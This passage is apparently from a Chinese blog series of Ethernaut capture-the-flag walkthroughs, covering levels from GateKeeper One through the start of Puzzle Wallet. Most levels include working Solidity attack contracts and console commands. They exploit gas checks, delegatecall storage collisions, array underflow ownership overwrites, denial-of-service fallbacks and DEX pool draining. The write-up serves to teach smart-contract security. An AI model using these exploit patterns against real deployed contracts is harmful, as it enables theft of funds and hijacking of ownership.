}contract attackerSupporter {uint64 offset = 0xFFFFFFFF0000FFFF;bytes8 changedValue;Gate gateImpl;constructor(address addr) public {gateImpl = Gate(addr);}function getAddress() public {changedValue = bytes8(uint64(tx.origin) & offset);}function check1() public view returns (bool){return uint32(uint64(changedValue)) == uint16(uint64(changedValue));}function check2() public view returns (bool){return uint32(uint64(changedValue)) != uint64(changedValue);}function check3() public view returns (bool){return uint32(uint64(changedValue)) == uint16(tx.origin);}function attack() public {gateImpl.enter(changedValue);}
}

这里主要看为什么能够解决gateThree的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)运算。

  • address类型长度为160位,20字节,40个十六进制
  • uint64(tx.origin)tx.origin进行了截取,选取后64位,8字节,16十六进制。
  • offset类型为uint64,默认值为0xFFFFFFFF0000FFFF,最后的FFFF保证其最后16位不发生改变,中间的0000保证17-33位为0,剩下的FFFFFFFF则保证34-64位不全为0(只要tx.origin不是这样就好)。
  • 通过&运算完成变换,以bytes8存储在changedValue变量,用以实际攻击。

合约交互

部署合约,传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284,构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d


点击getAddress,计算changedValue。此时,点击check1check2check3来查看gateThree的要求是否满足。由截图可见,均满足。

由于gateOne已经自动满足了,所以我们可以直接通过调用来调试实际的gas了。
点击attack发起进攻,由于是跨合约调用,所以我们先将Gas Limit调大一些(实际远远不用这么大),如图所示。

此时,我们进入测试网Explorer查看交易详细信息,不出意外,交易将会被回滚。这是因为当前的gas没有满足要求。

点击右上角,选择Geth Debug Trace来看详细的编译过程。

里面是每步操作的执行过程及其所消耗的GAS。

页面中搜索GAS,操作中总共有2个,分析整个调用顺序,应该前者是合约内部调用前发起,后者则是gateTwo通过gasLeft主动发起。所以记下该GAS操作后剩余的gas(因为查询本身也会消耗gas),此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。

下表则是我们的发起过程,需要重复进行几次才能完成攻击。

原始gas Limit GAS操作后剩余gas 余数 下一次输入gas
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

注意当gas设置为95239后,交易成功。如截图所示:

输入await contract.entrant() == player,此时返回true表明攻击成功。

提交实例,本关卡成功!

总结

Gas的调试很有意思,值得细细研究。


14 GateKeeper Two

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

观察其核心代码,依旧是gateOnegateTwogateThree

  • gateOne依旧是要求msg.sender != tx.origin,即必须有一个中间合约。
  • gateTwo要求extcodesize(caller())==0,即调用者(对应msg.sender)的关联代码长度为0,而我们知道,智能合约代码是不为0的。
  • gateThree则要求输入对应的bytes8满足相应的要求。

乍一看似乎gateOnegateTwo无法同时满足,但是可以考虑到,当合约正在构建时,其关联代码也是为0的。所以我们可以在构建函数里发起攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;interface Gate {function enter(bytes8 _gateKey) external returns (bool);
}contract attackerSupporter {constructor(address addr) public {Gate gateImpl = Gate(addr);bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));gateImpl.enter(input);}
}

值得注意的是,我们这里针对gateThree使用了主动下溢出获取全为1的uint64(两次异或就消失了)。

合约交互

部署合约,传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F,构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f

部署成功后,利用await contract.entrant() == player查看是否攻击成功。答案是成功的。


提交实例,本关卡成功!

总结

那该如何保证不处理智能合约发来的请求呢?msg.sender=tx.origin即可。


15 Naught Coin

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2。本关卡的目的是将自身的余额变为0。

乍一看合约,对player存在如下限制:

    if (msg.sender == player) {require(now > timeLock);_;} else {_;}

似乎是无法绕过的,我们似乎也无法通过合约进攻,因为默认是扣去自身的token。
但有一看,NaughCoin是继承ERC20,而我们知道ERC20中可不只一个转账函数。我们可以试试通过其他方法。

仔细一看,原始的ERC20中还存在transferFrom函数。

    /*** @dev See {IERC20-transferFrom}.** Emits an {Approval} event indicating the updated allowance. This is not* required by the EIP. See the note at the beginning of {ERC20}.** NOTE: Does not update the allowance if the current allowance* is the maximum `uint256`.** Requirements:** - `from` and `to` cannot be the zero address.* - `from` must have a balance of at least `amount`.* - the caller must have allowance for ``from``'s tokens of at least* `amount`.*/function transferFrom(address from,address to,uint256 amount) public virtual override returns (bool) {address spender = _msgSender();_spendAllowance(from, spender, amount);_transfer(from, to, amount);return true;}

当然,这前提是有足够的allowance。我们可以开始试试了。

合约交互

首先通过await contract.approve(player,await contract.balanceOf(player)),使得自身可以通过transferFrom函数进行转账。

随后我们通过await contract.transferFrom(player,contract.address,await contract.balanceOf(player))将余额转移到合约。

此时再通过await contract.balanceOf(player)查看余额,可知攻击成功,余额为0。

提交实例,本关卡成功!

总结

继承部分函数不影响其他的使用,这可以说的上是表面合约了。


16 Preservation

我又回来了,给外方的培训算是快要告一段落,在这段过程中,我认为我也有许多收获。在培训、讲解的过程中,我的思路也变得更为清晰了。可喜可贺。理论上来说,我初步计划的是在8月完成Ethernaut的攻防,然后开启下一阶段的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是获取目标合约的所有权。那我们还是要看看,目标合约的薄弱点在哪里,我们hack的入口又在哪里?

我们对目标展开详细分析

  // public library contracts address public timeZone1Library;address public timeZone2Library;address public owner; uint storedTime;

此处目标存储了timeZone1LibrarytimeZone2LibraryownerstoredTime变量,而前三者都是在创建时指定的。

既然要获取目标合约的所有权,首先我们查找修改owner的语句,但是翻遍代码都没有找到,或许我们得看看有哪些危险函数

  function setFirstTime(uint _timeStamp) public {timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));}

没错,就是这里,delegatecall!
其实,在Delegation一关中,我们专门提到过call函数族中的区别:

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者B,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值A会修改为调用者B,但执行环境为调用者的运行环境B

此时,使用delegate call时,我们只是相当于调用了函数,而实际执行环境还是本身的运行环境。如果要更为底层的来说,又该怎么理解呢?这个环境,尤其是涉及到storage变量的存储时,是根据插槽来使用的,而不是变量的名字。换句话来说,我们如果通过delegate call修改storage变量,其实是修改当前环境下对应的插槽!

理解了这一点,我们再来看当前合约,真是怎么看怎么不对劲:当调用对应合约LibraryContractsetTime函数后,如所见即所得,storedTime变量被修改,这其实会修改运行环境下的slot 0,换而言之,其实timeZone1Library所处的插槽已经被修改了。这个合约本身就是有问题的!

也就是因为它有问题,我们才要处理它!我们首先想将timeZone1Library的地址修改为我们的攻击合约,在想办法通过delegate call实现后续的攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;contract attacker {address public tmpAddr1;address public tmpAddr2;address public owner; constructor() public {}function setTime(uint _time) public {owner = address(_time);}}

乍一看,这和原来合约的有什么区别么?其实有的,就是我们在修改时特意使得修改的是第三个插槽,也就是slot 2。变量tmpAddr1tmpAddr2其实只是一个插槽的占位符,并无特殊含义。

合约交互

首先我们部署攻击合约,合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958。现在我们就是想用其替换原有的变量timeZone1Library

首先,我们可以查询目标合约目前的插槽状况。

其布局应当为

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
|                   storedTime                      | <- slot 3
-----------------------------------------------------

我们试着调用await contract.setFirstTime()(first 还是 second 其实并不影响,可以思考以下为什么)并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制,因为具体构建的data并不会指明参数类型,而会是evm手动的编译。

此时,其布局应当为

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
|                   storedTime                      | <- slot 3
-----------------------------------------------------

此时,想法就很简单,直接调用await contract.setFirstTime()并传入player地址。传入后查看owner变量是否发生修改,可以看到已经成功获取到了合约所有权。

此时布局为:

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
|                   storedTime                      | <- slot 3
-----------------------------------------------------

提交实例,本关卡完成!

总结

还是得明白 delegate call共享环境到底共享的是什么。


17 Recovery

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是找到“丢失的地址”(我们给他转去了0.001ether却忘记了其地址)并恢复丢失的以太。

这题其实有两种思路,一种略微取巧了,第二个我猜是题目真正想考的。
根据题目描述可以知道,这其实是一个连续的过程:合约创建者创建通证合约的工厂合约,后者再创建通证合约(被遗忘的地址)。我们就围绕这个思路展开。

合约交互

找到遗忘的地址,方法一 : 基于浏览器

这里的浏览器可不是Browser,而是Explorer
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。

我们可以基于内部调用展开分析。整体流程如下:

  • 用户账户调用Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2并转账0.001Ether
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2,应该是generateToken接口
  • 工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2创建了通证合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2向通证合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8转账0.001Ether,随后忘记该合约地址。


通过浏览器,我们找到了该通证合约地址为0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

找到遗忘的地址,方法二 : 基于地址生成

其实,合约地址的生成是有规律可寻的。经常可以看到有的通证或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。

  • 创建者的地址是已知的,而nonce也是从初始值递增获取到的。
  • 外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
  • 合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)

我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2,nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,),结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8

找回

找到了合约,现在就要尝试和合约进行交互。我们可以新建合约,也可以直接通过web3.js与合约进行交互。

首先,我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。

可以看到有4字节的函数以及32字节的输入(不够的补0)。

成功调用!

提交实例,本关卡成功!
)

总结

其实感觉自己原理都知道,但实操起来总有些不熟练,还得多练习~


18 MagicNumber

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c。本关卡就是希望我们能手写solidity的opcode,构建合约,再被调用是能直接返回魔数0x42。准确来说,就是希望我们熟悉当我们创建合约的时候,transaction中的data实际指的是什么。

这一块其实我也不是特别熟悉,所以也查询了一些资料。当我们用Solidity部署合约时,究竟会发生些什么?

  • Solidity代码已经写好,当用户点击部署时,会发送创建合约的交易(此交易没有to选项),此时solidity语言已经被编译为字节码
  • EVM接收到请求后会将data取出来,这实际上是字节码
  • 字节码将会被载入到栈内,分为两部分:初始化字节码及运行态字节码
  • EVM将会执行初始化字节码,并将运行态字节码返回用以正常时的利用。

我们这里其实既要写运行态字节码,又要写初始化的字节码。

那就开始编写字节码。

合约编写

运行态字节码

运行态其实就是直接返回RETURN 42。可是opcodeRETURN是基于栈的。它会读取栈中的p和s并返回。其中p代表存储的内存地址,而s代表的是存储数据的大小。所以我们的思路就是,先把数据利用mstore存到内存里,再利用RETURN返回。

  • mstore会读取栈中的p和v,并最终将数据存储到p位置上

    • push1 0x42 -> 60 42
    • push1 0x60 -> 60 60(存储在0x60的位置)
    • mstore -> 52
  • RETURN返回0x42

    • push1 0x20 -> 60 200x20=32即uint256的字节数)
    • push1 0x60 -> 60 60
    • return -> f3

合起来就是604260605260206060f3。看上去运行态字节码就这么简单。

初始化字节码

其核心就是初始化并通过codecopy将运行态字节码存到内存去,在这之后,这将自动地被EVM处理并存储到区块链上。

  • codecopy会读取参数t、f、s,其中t是代码的目的内存地址,f是运行态代码相对于整体(初始化+运行态)的偏移,而s则是代码大小。我们这里选择t=0x20(这里没有强制性要求),f=unknown(是1字节的偏移量)s=0x0a(10个字节的大小)

    • push1 0x0a -> 60 0a
    • push1 0xUN -> 60 UN
    • push1 0x20 -> 60 20
    • codecopy -> 39
  • 通过RETURN将代码返回给EVM

    • push1 0x0a -> 60 0a
    • push1 0x20 -> 60 20
    • return -> f3
      此时初始化字节码有12字节,所以运行态偏移为12=0x0c=UN
      最终初始化字节码为600a600c602039600a6020f3

构建与测试

构建字节码0x600a600c602039600a6020f3604260605260206060f3
我们在console界面构造了交易以创建合约。

由于交易没有接受方,自动被识别为部署合约

部署完成,可以看出,合约地址为0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771

将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。

提交关卡,进行检验,发现没有成功?怎么回事?

先查看交易的RAW TRACE,可以看出最后的确是访问了我们的合约,也的确是返回了0x42。


再去看汇编,可以看到,的确也是执行了。

随即我们在remix上的导入,调用函数,的确也都返回0x42。

难道?我们修改返回的值从0x42到42(0x2a)。

构建字节码0x600a600c602039600a6020f3602a60605260206060f3
此时通过remix调用,的确都返回42。再提交看看?成功了!

总结

其实有人会觉得困惑?也没有个函数选择器啥的?其实这里需要补充一下,平常我们通过solidity编写智能合约后,在编译时会植入函数选择器。而我们本关卡没有这一步骤,所以就如同remix调用的图一样,所有函数其实都执行的同一块命令,得到的是同一个结果。


19 AlienCodex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码?

contract AlienCodex is Ownable {bool public contact;bytes32[] public codex;...
}

看到代码就知道,合约里应该是没有设置所有权的代码,那我们可能就要想办法从其他地方入手了。发现代码里有这段:

  function revise(uint i, bytes32 _content) contacted public {codex[i] = _content;}

看来就是这里了,想办法从这里入手,通过该操作以改变插槽存储值的大小。

合约交互

我们先看看slot里存的都是些什么?


由于合约继承了Ownable合约,所以slot0中存储的就是owner对象,此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272。实际上该地址就是创建目标合约的地址,如下图所示:

, the owner will still get their share
而存储的contact变量也是在slot 0中(一个插槽长度为32位,能够存放地址(20)+布尔型(1)),目前为0即为false。slot1存储的则是codex动态数组,更准确来说,应该是codex动态数组的长度,而具体的下标内容呢?会按序存储在keccak256(bytes(1))+x的插槽内,其中,x就是数组的下标。所以我们将插槽表示出来:

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

我们现在计算codex data的起始插槽,应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6


我们先测试一下准确性。由于contacted modifier的存在,我们先修改contact变量。调用await contact.make_contact(),再次查看插槽数值,可以发现变量成功被修改。

先存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。


再存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。


现在我们就希望通过修改codexdata导致溢出最终修改slot 0。
首先我们连续调用三次await contract.retract()codex.length下溢出为2**256-1。此时先前输入的数据均已丢失。


那下标该是多少呢?应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1。因为我们到达末端后需要再进一位产生上溢出,返回slot0。在计算的过程中我们遇到一个问题,那就是javascript会利用科学计数法,而这会导致精度的丢失。为了简便起见,我们用remix计算,结果是35707666377435648211887908874984608119992236509074197713628505308453184860938


那我们就用await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)来调用,此时会覆盖原有slot。但一检查发现不对,结果跑前面去了。看来我们又要修改一下,不能直接传入player,需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b


输入await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'),此举是在地址前面补齐24个0,凑足244+404=256位即32bytes,从而将地址存入正确的存储位置。

此时,合约所有者已经成功修改。

提交实例,本关卡成功!

总结

在涉及到owner方面(或者其他重要变量)一定要慎重,寻找所有的可能性。


20 Denial

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B。本关卡的目的是阻止owner提款。我们先看看各角色是什么。

    function withdraw() public {uint amountToSend = address(this).balance.div(100);// perform a call without checking return// The recipient can revert, the owner will still get their sharepartner.call{value:amountToSend}("");owner.transfer(amountToSend);// keep track of last withdrawal timetimeLastWithdrawn = now;输入withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);}

每当用户提款时,会调用withdraw函数,取出1%发给partner,还有1%发给owner。我们能做的就是在partner端定义函数,使的发给owner的步骤无法进行。

然而,合约中调用的是call并附上了所有gas。我们先回顾一下sendcalltransfer之间的区别。

  • transfer如果异常会转账失败,并抛出异常,存在gas限制
  • send如果异常会转账失败,返回false,不终止执行,存在gas限制
  • call如果异常会转账失败,返回false,不终止执行,没有gas限制

所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的!

如何消耗呢?那我们就来看看requireassert

  • assert会消耗掉所有剩余的gas并恢复所有的操作
  • require会退还所有剩余的gas并返回一个值

所以我们似乎可以在assert上下功夫。

攻击合约编写

攻击合约很简单,就是默认assert(false)并回滚一切操作。

pragma solidity ^0.6.0;contract attacker {constructor() public {}fallback() external payable {assert(false);}}

合约交互

部署攻击合约,地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7


输入await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')将攻击合约设置为partner角色。

此时我们发起withdraw测试一下。输入await contract.withdraw(),结果发现由于gas耗尽,所以失败。

提交实例,本关卡成功!

总结

还是那句老话,合约的交互是难以信任的。


21 Shop

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下:

  function buy() public {Buyer _buyer = Buyer(msg.sender);if (_buyer.price() >= price && !isSold) {isSold = true;price = _buyer.price();}}

合约会询问用户msg.sender(所以可以是智能合约)的出价,如果其price()函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer类型的接口price()是一个view类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。这可怎么办呢?

那么有没有办法能够使得view方法两次返回的值不同呢?目前来说,有两种方法:

  • 依托于外部合约的变化
  • 依托于本身变量的变化

攻击合约编写

外部合约的状态变化

如果view类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别。

同样基于remix,我们编写合约如下:

pragma solidity ^0.6.0;interface Shop {function buy() external;function isSold() external view returns (bool);码
}contract attacker {Shop shop;constructor(address _addr) public {shop = Shop(_addr);}function attack() public {shop.buy();}function price() external view returns (uint){if (!shop.isSold()){return 101;}else{return 99;}}}

此时由于在请求price()前后Shop合约的isSold变量已发生了变化,所以我们可以基于该变量设置if规则,这种方法是适用的。

本身变量的变化

如果我们依赖于nowtimestamp等变量,的确可以实现在不同区块下view类型的函数会返回不同结果,然而,在同一区块下,似乎仍难以区分开来。

我们有如下合约:

contract attacker2 {Shop shop;uint time;constructor(address _addr) public {shop = Shop(_addr);time = now;}function attack() public {shop.buy();}function price() external view returns (uint){return (130-(now-time));}}

在不同时刻调用view类型的price函数,返回的值是有区别的。然而,在同一区块呢,很难去达成区别,所以是不够适用的。

合约交互

先查看合约当前状态。

部署攻击合约,合约地址为0x8201E303702976dc3E203a4D3cDe244D522274bf

此时调用price方法,返回101

调用attack方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出,价格为99。

提交实例,本关卡完成!

总结

有时候从另一个角度去想问题,这和我们常规理解的可能不一样。


22 Dex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366。本关卡的是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

对合约展开分析,合约中只存有两个通证合约,一个是token1,一个是token2

  function setTokens(address _token1, address _token2) public onlyOwner {token1 = _token1;token2 = _token2;}

而合约支持我们根据通证之间的比率进行兑换。兑换的价格为两个通证的数量之比。

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));}

这里发现有一个问题,我们暂且按下不表。
那我们需要做什么呢?就是利用这里面不对称的汇率,实现套利,挖空交易合约里的通证(一种即可)。

由于在swap里已经限定只能围绕token1token2展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题,对于单次交易来说,汇率是恒定的!对一般的去中心化交易所来说,都会有滑点(Slippage)的概念,即随着交易额的增长,理论汇率和实际汇率之间的差值会越来越大! 而很明显,本关卡合约没有滑点的概念,这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次,我们就能很快掏空交易池。

合约交互

我们先看看交易池内token1token2和我们账户通证的数量。

如果我们要将手头的10个token1兑换为token2,首先我们通过await contract.approve(contract.address,10)完成授权。

随后我们通过await contract.swap(token1,token2,10)将10个token1兑换为token2。根据初始汇率1:1我们可以获取到10个token2。此时我们有了0个token1、20个token2,但交易所现在有110个token1、90个token2,如果我们将10个token2兑换回去,我们可以获得不止10个token1!这就是套利!

通过下表展示套利过程,其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换,只兑换46个(110/2.4=45.83),结果失败(因为交易池没有那么多)。后来发现,直接兑换45个即可。

交易池token1 交易池token2 汇率1-2 汇率2-1 用户token1 用户token2 兑换币种 兑换后用户token1 兑换后用户token1
100 100 1 1 10 10 token1 0 20
110 90 0.818 1.222 0 20 token2 24 0
86 110 1.28 0.782 24 0 token1 0 30
110 80 0.727 1.375 0 30 token2 41 0
69 110 1.694 0.627 41 0 token1 0 65
110 45 0.409 2.44 0 65 token2 110 20

此时,交易池的token1已经被掏空!提交关卡,本关卡成功!

总结

涉及到Dex这种Defi项目,智能合约的编写一定要慎之又慎。


23 Dex2

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA。本关卡仍是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

乍一看,这题跟上个没啥区别阿。但仔细一看似乎缺了点什么?

  function swap(address from, address to, uint amount) public {require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");uint swapAmount = getSwapAmount(from, to, amount);IERC20(from).transferFrom(msg.sender, address(this), amount);IERC20(to).approve(address(this), swapAmount);IERC20(to).transferFrom(address(this), msg.sender, swapAmount);}

里面不再对币种的地址作校验了,那我们能否部署自己的通证合约,并通过相关方法提供流动性,并最终掏空池子呢?

编写攻击合约

我们参考目标合约中的SwappableToken合约,编写攻击合约如下:

pragma solidity ^0.8.0;import "@openzeppelin/contracts/token/ERC20/ERC20.sol";contract SwappableTokenAttack is ERC20 {address private _dex;constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {_mint(msg.sender, initialSupply);_dex = dexInstance;}function approve(address owner, address spender, uint256 amount) public returns(bool){require(owner != _dex, "InvalidApprover");super._approve(owner, spender, amount);}
}

部署合约,其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e

合约交互

我们首先实现approve授权许可,给目标合约8个攻击通证的授权。

随后,我们通过await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)将攻击通证加入DEX。结果失败,原来我们不是合约的owner

这影响吗?不影响,我们可以在攻击合约中手动转账。

此时,获取一下攻击通证转换token1的汇率呗~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1),结果发现我们可以全部掏空token1!


那就发起把,先后输入await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)以实现将交易池掏空!成功!(对token2使用2个攻击通证是因为我们此时汇率已经下降到1:50了)


提交关卡,本关卡成功!

总结

智能合约真是处处漏洞阿,有时间一定要研究一下UniSwap!


24 Puzzle Wallet

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9。这个时候我们还不知道这个合约实例到底是什么。而我们的目的是要成为proxy的所有者。

初看关卡里的合约,可能会很困惑,这里面又是proxy又是wallet,这到底时是要干什么呢?在深入分析本关卡的合约之前,我们需要了解一下什么叫代理模式,否则我们无法明白其中的门门道道。

学过设计模式的同学其实都知道什么是代理模式:为其他对象提供一种代理以控制对某个对象的访问。也就是说,每次我要访问A,其实我是通过调用B的接口,而B中存有A的对象实例,并对外暴露与A相同的接口,这时候,当我们调用B时,我们仍以为自己在访问A,并对其中代理部分浑然不觉。

那么,代理模式的优点又在哪里呢?如果业务有更新,完全可以实现热部署,代理实例通过切换对象实例,此时使用者不会感觉到服务有中断或者发生了变化。

而在智能合约中,要使用代理模式,思路也是一样的,就是为了解决合约一旦上链无法更新的问题。当我们需要更新合约时,只要将代理合约中的合约实例指向新创建的合约即可。此时,对和代理合约交互的用户来说,并没有感到服务产生了变化。现在很多链游就是基于以上原理,可以不断的更新合约、更新游戏。而转发具体是怎么实现的呢?其实就是利用fallback函数,当用户访问不存在的函数时,会进入fallback,代理合约在此处即可完成转发。

回到正题,我们现在获得的0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9究竟是什么?是PuzzleProxy还是PuzzleWallet呢?我们从三个角度来看一看。


  • 合约创建角度

    我们截图看看我们创建实例时的内部调用。


可以看出,用户地址调用Ethernaut合约地址,后者调用关卡合约,由关卡合约分别创建0xd04cb22addf0bc25858935688482ad328c839e970xd1b77be5ecd09964e521b36a35804c46bb5a9ed9,而0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9被创建后,又通过delegatecall调用了0xd04cb22addf0bc25858935688482ad328c839e97。这似乎就很明朗了,0xd04cb22addf0bc25858935688482ad328c839e97应该是Puzzle Wallet0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9则是代理合约。想想的确也是这样,代理合约在初始化时肯定也需要指定实例合约。

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {admin = _admin;}
  • 合约创建源码

    我们可以在Ethernaut的github项目中找到工厂合约

  function createInstance(address /*_player*/) override public payable returns (address) {require(msg.value ==  0.001 ether, "Must send 0.001 ETH to create instance");// deploy the PuzzleWallet logicPuzzleWallet walletLogic = new PuzzleWallet();// deploy proxy and initialize implementation contractbytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);PuzzleWallet instance = PuzzleWallet(address(proxy));// whitelist this contract to allow it to deposit ETHinstance.addToWhitelist(address(this));instance.deposit{ value: msg.value }();return address(proxy);}

很明显,是先创建PuzzleWallet,然后创建PuzzleProxy并最后返回proxy地址。

  • 逻辑推理

很明显,对外暴露的应该是代理合约,实际合约应当藏在代理合约的后面。


那可能又有疑惑了,我这里contract.abi获得的结果为什么又是PuzzleWallet的abi呢?其实没问题,本来暴露的就应该是实际合约的接口咯。

那这么一看的话,我们的切入点又在哪里呢?

